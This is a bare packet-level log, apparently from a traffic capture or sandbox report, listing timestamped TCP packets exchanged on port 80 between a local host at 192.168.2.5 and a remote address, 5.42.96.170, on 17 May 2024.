May 17, 2024 23:45:14.974450111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.974545002 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.975377083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.975387096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.975430965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.976989985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.977000952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.977039099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.977057934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:14.978616953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:14.978667021 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.049819946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.049833059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.049909115 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.055535078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.055780888 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.122145891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.122220039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.122530937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.122586966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.123496056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.123593092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.124521017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.124531984 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.124576092 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.125488997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.125556946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.126476049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.126486063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.126550913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.128436089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.128501892 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.129489899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.129499912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.129544973 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.130409002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.130418062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.130464077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.132416964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.132426977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.132479906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.133989096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.133999109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.134124041 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.135561943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.135571957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.135632992 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.137177944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.137187958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.137195110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.137248039 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.137274981 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.138837099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.138890028 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.139276028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.139327049 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.140006065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.140016079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.140091896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.141455889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.141524076 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.142154932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.142165899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.142210007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.143529892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.143539906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.143593073 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.144853115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.144864082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.144917011 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.145586967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.145642042 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.146245956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.146255016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.146449089 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.147630930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.147685051 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.148274899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.148284912 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.148330927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.149418116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.149429083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.149496078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.150607109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.150672913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.151417017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.151426077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.151432991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.151478052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.151515007 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.152456999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.152467012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.152534962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.153656960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.154721975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.154747009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.154757023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.154875040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.154875040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.155810118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.155821085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.156130075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.156130075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.156169891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.156181097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.156188965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.156879902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.156879902 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.157809973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.157820940 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.157934904 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.158382893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.158394098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.158507109 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.159387112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.159398079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.159445047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.160231113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.160242081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.160249949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.160408974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.160409927 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.161262035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.161272049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.161314964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.162341118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.162352085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.162394047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.163367987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.163378000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.163577080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.164490938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.164500952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.164561033 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.165132999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.165143967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.165153027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.165205956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.165205956 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.165924072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.165934086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.165978909 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.198821068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.198883057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.203210115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.203219891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.203784943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.203807116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.203818083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.204127073 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.205339909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.205351114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.205537081 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.278897047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.278908968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.279113054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.279113054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.279251099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.279303074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.279752016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.279762030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.279769897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.279819965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.279871941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.280857086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.280915022 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.281279087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.281289101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.281332970 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.282198906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.282210112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.282315969 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.283174038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.283226967 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.283653021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.283663988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.283710003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.286470890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.286480904 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.286526918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.314879894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.314891100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.314899921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.314908981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.314960957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.315010071 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.315812111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.315821886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.315892935 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.321192980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.321274042 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329600096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329612017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329619884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329628944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329638958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329648972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329658985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329668045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329678059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329688072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329696894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329705954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329715967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329729080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329729080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329729080 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329730034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329739094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329749107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329756021 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329765081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329776049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329786062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329794884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329804897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329817057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329823017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329823017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329823017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329834938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329844952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329854012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329864025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329873085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329885960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329893112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329893112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329893112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329893112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329904079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329914093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329922915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329932928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329945087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329951048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329951048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329951048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.329962015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329972029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329981089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329991102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.329999924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.330032110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330032110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330032110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330032110 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330059052 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330068111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.330645084 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330676079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.330692053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.330738068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.330738068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.332065105 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.332084894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.332123995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.332123995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.334408998 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.334474087 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.335150003 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.335275888 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.335289001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.335686922 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.335699081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.335783005 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.336066961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.336076021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.336127996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.336127996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.337418079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.337428093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.337435961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.337658882 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.337658882 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.339364052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339374065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339382887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339391947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339401960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339411020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339421034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.339452982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.339452982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.339540958 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.344966888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.344976902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345021963 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.345134974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345144987 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345153093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345161915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345170975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345189095 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.345189095 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.345261097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.345319986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345329046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.345484972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.345484972 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.346153975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.346163988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.346286058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.346286058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.347027063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.347037077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.347807884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.347807884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.347820044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.347830057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.347837925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.347882986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.347882986 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.348366022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.348375082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.350100040 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.350131989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.350142956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.350150108 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.350158930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.350177050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.350230932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.351317883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.351782084 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.358740091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358762980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358776093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358786106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358797073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358804941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358814955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358825922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.358844042 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.358844042 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.358844042 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.358867884 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.359827995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.359838009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.359846115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.359854937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.359864950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.359879017 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.359976053 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.360841036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.360850096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.360901117 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.362725973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.362736940 CEST	80	49707	5.42.96.170	192.168.2.5
